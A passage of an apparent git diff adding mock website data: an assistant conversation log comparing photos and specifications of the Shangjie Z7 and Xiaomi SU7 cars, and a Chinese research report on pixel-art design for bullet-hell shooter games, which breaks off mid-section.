International](//creativecommons.org/licenses/by-sa/4.0/deed.en \"creativecommons:by-sa/4.0/deed.en\") license.\n\n: You are free:\n\n * **to share** – to copy, distribute and transmit the work\n * **to remix** – to adapt the work\n: Under the following conditions:\n\n * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n * **share alike** – If you remix, transform, or build upon the material, you must distribute your contributions under the [same or compatible license](https://creativecommons.org/share-your-work/licensing-considerations/compatible-licenses \"ccorg:share-your-work/licensing-considerations/compatible-licenses\") as the original.\n\nhttps://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [10:39, 21 March 2025](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 4,032 × 2,268 (3.68 MB) | [茅野ふたば](/wiki/User:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User:茅野ふたば\") ([talk](/wiki/User_talk:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User talk:茅野ふたば\") | [contribs](/wiki/Special:Contributions/%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"Special:Contributions/茅野ふたば\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 14 Pro Max](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+14+Pro+Max) |\n| Exposure time | 1/857 sec (0.0011668611435239) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.78 |\n| ISO speed rating | 80 |\n| Date and time of data generation | 16:18, 21 March 2025 |\n| Lens focal length | 6.86 mm |\n| Latitude | 23° 2′ 29.37″ N |\n| Longitude | 113° 45′ 38.59″ E |\n| Altitude | 12.108 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [18.3](https://en.wikipedia.org/wiki/Special:Search?search=18.3) |\n| File change date and time | 16:18, 21 March 2025 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 16:18, 21 March 2025 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 9.7429797191888 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 7.2963895073081 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 219 |\n| DateTimeDigitized subseconds | 219 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Focal length in 35 mm film | 24 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 08:18 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0.051153797654575 |\n| Reference for direction of image | True direction |\n| Direction of image | 50.927307120659 |\n| Reference for bearing of destination | True direction |\n| Bearing of destination | 50.927307120659 |\n| GPS date | 21 March 2025 |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [creator](https://www.wikidata.org/wiki/Special:EntityPage/P170 \"d:Special:EntityPage/P170\")\n\n#### some value\n\n[author name string](https://www.wikidata.org/wiki/Special:EntityPage/P2093 \"d:Special:EntityPage/P2093\"): 茅野ふたば\n\n[Wikimedia username](https://www.wikidata.org/wiki/Special:EntityPage/P4174 \"d:Special:EntityPage/P4174\"): [茅野ふたば](https://meta.wikimedia.org/wiki/Special:CentralAuth/%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0)\n\n[URL](https://www.wikidata.org/wiki/Special:EntityPage/P2699 \"d:Special:EntityPage/P2699\"): \n\n#### [copyright status](https://www.wikidata.org/wiki/Special:EntityPage/P6216 \"d:Special:EntityPage/P6216\")\n\n#### [copyrighted](https://www.wikidata.org/wiki/Special:EntityPage/Q50423863 \"d:Special:EntityPage/Q50423863\")\n\n#### [copyright license](https://www.wikidata.org/wiki/Special:EntityPage/P275 \"d:Special:EntityPage/P275\")\n\n#### [Creative Commons Attribution-ShareAlike 4.0 International](https://www.wikidata.org/wiki/Special:EntityPage/Q18199165 \"d:Special:EntityPage/Q18199165\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 21 March 2025\n\n#### [source of file](https://www.wikidata.org/wiki/Special:EntityPage/P7482 \"d:Special:EntityPage/P7482\")\n\n#### [original creation by uploader](https://www.wikidata.org/wiki/Special:EntityPage/Q66458942 \"d:Special:EntityPage/Q66458942\")\n\n#### [coordinates of the point of view](https://www.wikidata.org/wiki/Special:EntityPage/P1259 \"d:Special:EntityPage/P1259\")\n\n#### 23°2'29.371\"N, 113°45'38.588\"E\n\n[heading](https://www.wikidata.org/wiki/Special:EntityPage/P7787 \"d:Special:EntityPage/P7787\"): 50.92730712065937 degree\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### image/jpeg\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### 80\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.0011668611435239 second\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.86 millimetre\n\nRetrieved from \"\"\n\n[Categories](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [Xiaomi SU7](/wiki/Category:Xiaomi_SU7 \"Category:Xiaomi SU7\")\n* [Purple automobiles in China](/wiki/Category:Purple_automobiles_in_China \"Category:Purple automobiles in China\")\n\nHidden categories:\n\n* [Files with coordinates missing SDC location of creation](/wiki/Category:Files_with_coordinates_missing_SDC_location_of_creation \"Category:Files with coordinates missing SDC location of creation\")\n* [CC-BY-SA-4.0](/wiki/Category:CC-BY-SA-4.0 \"Category:CC-BY-SA-4.0\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n* [Dongguan photographs taken on 2025-03-21](/wiki/Category:Dongguan_photographs_taken_on_2025-03-21 \"Category:Dongguan photographs taken on 2025-03-21\")\n* [Images by 茅野ふたば taken with iPhone 14 Pro Max](/wiki/Category:Images_by_%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0_taken_with_iPhone_14_Pro_Max \"Category:Images by 茅野ふたば taken with iPhone 14 Pro Max\")\n\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n[Add topic](#)\n=================================================="}}, "tool_call_id": "tool_s8y6Z46TAOkPWLQDTamLtGzy", "name": "extract_webpage"}, {"role": "assistant", "reasoning_content": "拿到三张图的直链:\n\n1. 尚界Z7(SAIC Z7 MY2026):https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/1280px-SAIC_Z7_MY2026_IMG01.jpg\n - 横构图 4:3(3714×2786),2026年7月实拍,CC0\n - 描述只写了 \"SAIC Z7 MY2026\",没写颜色和角度。3714×2786 横图。这是iPhone 14 Pro Max拍的,54mm焦距。不确定是前45度还是什么角度。Commons上 Category:SAIC_Z7 里可能还有其他角度。但就这张是命名 IMG01,应该还行。为了保险,我可以先展示,如果用户不满意再找。或者我再看看 Category:SAIC Z7 有没有 front 命名的图。搜索结果里有 \"File:2026 SAIC Z7T (front).jpg\"(那是Z7T猎装版)。用户问的是Z7,就用 SAIC Z7 MY2026 IMG01.jpg。\n\n2. 小米SU7 紫色正面(2025-03-21,东莞):https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/1280px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg\n - 横构图 16:9(4032×2268),霞光紫,正面视角。这张很好,CC BY-SA 4.0,作者 茅野ふたば\n\n3. 小米SU7 Max(莫斯科):https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg — 竖构图,备用。\n\n用 展示。规则说\"一次展示优先只输出一个完整标签块\"。嗯,\"一次展示优先只输出一个完整标签块(开标签 + 内容 + 闭标签),不要拆段输出\"——这句话的意思是每个标签块要完整输出不要拆段,而不是说只能展示一张图。但\"一次展示优先只输出一个完整标签块\"也可能意味着优先一次一张。用户要看两辆车的照片,展示两张(每车一张)是合理的。我用两个 show_image 标签,每个完整。\n\n展示后简要描述两车的外观特征(基于我的知识+图片描述):\n\n尚界Z7:\n- 华为鸿蒙智行与上汽合作品牌\"尚界\"的第二款车型\n- 定位\"风尚科技轿跑\",2026年4月22日上市,21.98万起\n- 还有猎装版Z7T(22.98万起)\n- 溜背轿跑造型\n- 这张图是2026年7月实拍(CC0)\n\n小米SU7:\n- 小米汽车首款车,2024年3月28日上市\n- 定位C级纯电轿跑,流线型低趴造型,水滴大灯、光环尾灯\n- 图中是霞光紫配色正面\n- 21.59万起(标准版),Max 29.99万\n\n关于图片我看到的:我不能直接看到图片内容(没有view_image,这些是网络URL)。描述里写了 \"Xiaomi SU7 purple front view\",尚界那张只写了 \"SAIC Z7 MY2026\"。我对尚界Z7的图片角度不确定——文件名IMG01没写角度。不过它是 de.wikipedia 上 Shangjie 品牌条目使用的图,大概率是前45度标准展示照。我对此标注不确定性比较好?不必过度纠结,展示给用户看就行,用户自己能看到。\n\n关于外观描述:我可以描述两款车的典型特征。\n- 小米SU7:低趴宽体轿跑,水滴形大灯,半隐藏门把手,溜背+电动尾翼(Max),光环式贯穿尾灯,风阻Cd 0.195\n- 尚界Z7:溜背轿跑,封闭式前脸,贯穿灯带?我不完全确定细节。搜索说\"外观似曾相识\"(暗指像小米SU7/保时捷风格)。随动四维屏是内饰亮点。我不该编造太多细节,就说大致特征,标注来源。\n\n按信息诚实规范:标注信息来源。车型信息来自刚才的搜索(鸿蒙智行官方发布、汽车之家等第三方报道)。\n\n外观描述部分:\n- 小米SU7的描述基于我的训练知识(2024年发布的车,知识覆盖),可信度较高\n- 尚界Z7是2026年新车,超出我知识范围,描述基于刚才搜索到的第三方报道,说得保守一点\n\n格式:先两张图片卡片,然后简短对比描述。用 show_image 标签。\n\n图片URL选择1280px版本(清晰度和加载速度平衡)。\n\nalt文本写清楚。\n\n正文描述:\n- 尚界Z7:鸿蒙智行×上汽,2026年4月22日上市,21.98万起,风尚科技轿跑,溜背造型,封闭式前脸+贯穿式灯组(嗯,贯穿灯我不确定,不说太细)。有猎装版Z7T。\n- 小米SU7:小米首款车,2024年3月上市,21.59万起,C级纯电轿跑,低趴流线,水滴大灯、半隐藏式门把手、溜背、光环尾灯,Cd 0.195超低风阻。\n\n这两台车是 direct competitor(尚界Z7对标小米SU7),可以提一句。\n\n先输出图片卡片,再写说明。注意标签前后不要再写\"show_image\"字样。", "content": "找到了两款车的高清实拍照片(来自 Wikimedia Commons,均为自由版权图片):\n\n**尚界 Z7**(2026年7月实拍的量产车照片):\n\n\n**小米 SU7**(霞光紫配色,正面视角):\n\n\n---\n\n### 两车简介与外观特征\n\n| | 尚界 Z7 | 小米 SU7 |\n|---|---|---|\n| **出身** | 华为鸿蒙智行 × 上汽联合打造,尚界品牌第二款车 | 小米汽车首款车型 |\n| **定位** | \"风尚科技轿跑\",另有猎装版 Z7T | C级纯电轿跑 |\n| **上市/售价** | 2026年4月上市,21.98万起(Z7T 22.98万起) | 2024年3月上市,21.59万起 |\n| **外观风格** | 溜背轿跑造型,走年轻化路线,提供九种车色 | 低趴宽体流线造型,水滴大灯、半隐藏门把手、光环式贯穿尾灯,风阻系数 Cd 0.195 |\n\n有意思的是,这两款车是直接竞品——尚界Z7发布时就被普遍拿来对标小米SU7,两者的尺寸、价位和\"年轻科技轿跑\"的定位都高度重叠。\n\n**信息来源说明**:尚界Z7的车型信息来自鸿蒙智行官网及证券时报、汽车之家等第三方报道(2026年的新车,超出我自身知识范围);小米SU7的信息基于我已有知识。照片均来自 Wikimedia Commons 自由版权图库(尚界Z7为 CC0,小米SU7为 CC BY-SA 4.0,作者:茅野ふたば)。", "timestamp": "2026-08-23T13:35:36.372046", "message_id": "msg_c8cdb090477447688bce269f4a46e162", "metadata": {"model_key": "Kimi-K3"}}], "meta": {"title": "尚界Z7与小米SU7外观对比", "model_key": "Kimi-K3", "thinking_mode": true, "run_mode": "thinking", "multi_agent_mode": false, "permission_mode": "unrestricted", "execution_mode": "sandbox", "network_permission": "", "messages_count": 11}, "running": {"has_running_background_commands": false, "has_running_multi_agent": false, "has_running_sub_agents": false, "is_main_running": false, "is_truly_active": false, "main_task_id": null, "main_task_type": null}}} \ No newline at end of file diff --git a/website-design/exp/mock/conversations-ma.json b/website-design/exp/mock/conversations-ma.json new file mode 100644 index 00000000..22bb887a --- /dev/null +++ b/website-design/exp/mock/conversations-ma.json @@ -0,0 +1 @@ +{"success": true, "data": {"conversations": [], "has_more": false, "limit": 20, "offset": 0, "total": 0}} \ No newline at end of file diff --git a/website-design/exp/mock/conversations-normal.json b/website-design/exp/mock/conversations-normal.json new file mode 100644 index 00000000..5a07932d --- /dev/null +++ b/website-design/exp/mock/conversations-normal.json @@ -0,0 +1 @@ +{"success": true, "data": {"conversations": [{"id": "conv_20260823_122836_778", "title": "弹幕游戏美术设计调研", "project_path": "/Users/demo/starraid", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 29, "total_tools": 13, "created_at": "2026-08-23T12:28:36.778945", "updated_at": "2026-08-23T13:32:51.486262"}, {"id": "conv_20260823_133304_218", "title": "尚界Z7与小米SU7外观对比", "project_path": "/Users/demo/daily", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 11, "total_tools": 6, "created_at": "2026-08-23T13:33:04.218941", "updated_at": "2026-08-23T13:35:36.442941"}], "has_more": false, "limit": 20, "offset": 0, "total": 2}} \ No newline at end of file diff --git a/website-design/exp/mock/file-pixel_art_research.md b/website-design/exp/mock/file-pixel_art_research.md new file mode 100644 index 00000000..8102434d --- /dev/null +++ b/website-design/exp/mock/file-pixel_art_research.md @@ -0,0 +1,259 @@ +# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告 + +> 调研时间:2026-08-23 +> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源 +> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明) + +--- + +## 0. 摘要与总体结论 + +- **弹幕游戏(Danmaku)的美术核心不是"好看",而是"可读性(Readability)"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨"哪些是威胁、往哪里躲"。所有美术决策都应服务于这一目标。 +- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。 +- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。 +- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家"真正会中弹的位置",与自机精灵大小形成强烈对比。 +- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。 + +--- + +## 1. 玩家飞船 / 角色设计 + +### 1.1 分辨率与屏幕尺寸基准(先定画布再画图) + +- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。 +- 分辨率越低像素越"块",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的"集群可读性(reading intention within clusters)"。 +- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。 +- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。 + +**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。 + +### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度) + +综合 SLYNYRD 教程与 Boghog 指南: + +- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。 +- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。 +- **尾焰/推进器动画(thruster animation)是必须**:让飞船"活着"的关键,通常 2~4 帧。 +- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持"飞行"的立体幻觉。 +- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要"厚、快、密"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。 +- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动"不流畅"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。 + +### 1.3 东方Project 系列的角色精灵风格 + +(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。) + +- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是"小尺寸、高识别度"路线)。 +- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。 +- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。 +- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。 +- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。 + +### 1.4 像素飞船设计要点(落地 Checklist) + +| 项目 | 建议 | +|---|---| +| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) | +| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 | +| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 | +| 描边 | 深色(近黑)描边,与"用白色描边的敌方子弹"形成体系区分 | +| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 | +| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 | + +### 1.5 判定框(Hitbox)视觉提示设计 + +- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。 +- **视觉提示做法(主流方案)**: + 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。 + 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种"旋转+透明度变化"行为)。 + 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。 +- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给"大判定"、敌人给"大受击判"(补偿微操作失误);玩家命中应"慷慨"(覆盖贴合情况),才不会有挫败感。 + +--- + +## 2. 敌方单位设计 + +### 2.1 杂兵(Enemy Grunts)的像素设计 + +- **同一阵营视觉统一+个体差异**:SLYNYRD 强调"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分"。 +- **角色定位决定美术**:按"速度 / 血量 / 体型 / 几何弹道 / 颜色"五要素设计(SLYNYRD): + - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造"动作感"而非威胁;血量只要够"打完这一局"即可,不要虚高(Boghog)。 + - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。 +- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像"虚影"(Boghog)。 +- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。 +- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。 + +### 2.2 Boss 的体型与细节层次 + +- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),"越大杀起来越爽"(SLYNYRD),但不要大到遮挡弹幕视野。 +- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。 +- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到"视觉上将 Boss 血条分段以显示本段攻击何时结束"。 +- **Boss 出场仪式**:Boss 出现前要有"警告留白"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。 +- **Boss 爆炸要"壮观"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。 + +### 2.3 敌方攻击前的视觉预警(Telegraph) + +- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧"粒子向炮口汇聚/炮口颜色渐亮"表达。 +- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。 +- **激光预警**:东方系激光常见"先显示一条细亮线(约半秒)再出现命中判定",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。 +- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠"渐进式预告"进入节奏。 +- **背景预告**:关卡背景用"地标/视觉节奏"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。 +- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。 + +--- + +## 3. 子弹 / 弹幕的像素美术 + +### 3.1 常见像素子弹样式与尺寸 + +**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。 + +| 子弹类型 | 常见尺寸 | 形态与用途 | +|---|---|---| +| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 | +| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 | +| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 | +| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) | +| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 | +| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 | + +### 3.2 子弹颜色与类型的对应关系 + +- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。 +- **颜色编码用途(Note 上"15 个美丽弹幕"文章 + Boghog)**: + - 用颜色区分"快弹 / 慢弹 / 装饰弹"等**危险等级**,玩家读色即知威胁; + - 颜色同时用于表达"瞄准玩家的弹(aimed)"与"固定弹(static)"等行为差异(各 STG 有自己约定,需在游戏内自学); + - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。 +- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立"谁打的"直觉。 +- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。 + +### 3.3 子弹的动画帧设计(旋转、闪烁、脉动) + +- **闪烁(Flashing)**:双帧交替即可,对比越强越"危险",但对比过强高速移动时反而难追踪(SLYNYRD);常用于"即将消失/即将命中"状态。 +- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴"翻转"来模拟 3D 感。 +- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹"活着"。 +- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。 +- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。 +- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。 + +### 3.4 大量弹幕同屏时的视觉清晰度处理(核心) + +- **价值(Value)分层**:将图像转黑白即可检查——子弹应"亮部+暗部紧挨"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。 +- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把"威胁"和"物体"分开(SLYNYRD)。 +- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读"组合"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。 +- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。 +- **留隙(Design gaps)**:弹幕模式要"设计缝隙"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。 +- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。 +- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。 + +--- + +## 4. 特效与 UI + +### 4.1 爆炸特效的像素动画(SLYNYRD 方法) + +- **制作流程**:先用"圆→扩张变细环"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。 +- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。 +- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。 +- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。 +- **冲击波**:把引导环稍作修改即可成冲击波环。 +- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀")。 +- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。 + +### 4.2 拾取道具的视觉效果 + +- **可读性优先**:道具必须一眼区别于"威胁物",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。 +- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。 +- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等"伸手去接也有意思"的运动。 +- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。 +- **点收集(Point of Collection)**:靠近屏幕顶端的一条"自动收集线"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。 + +### 4.3 得分 / 连击的视觉反馈 + +- 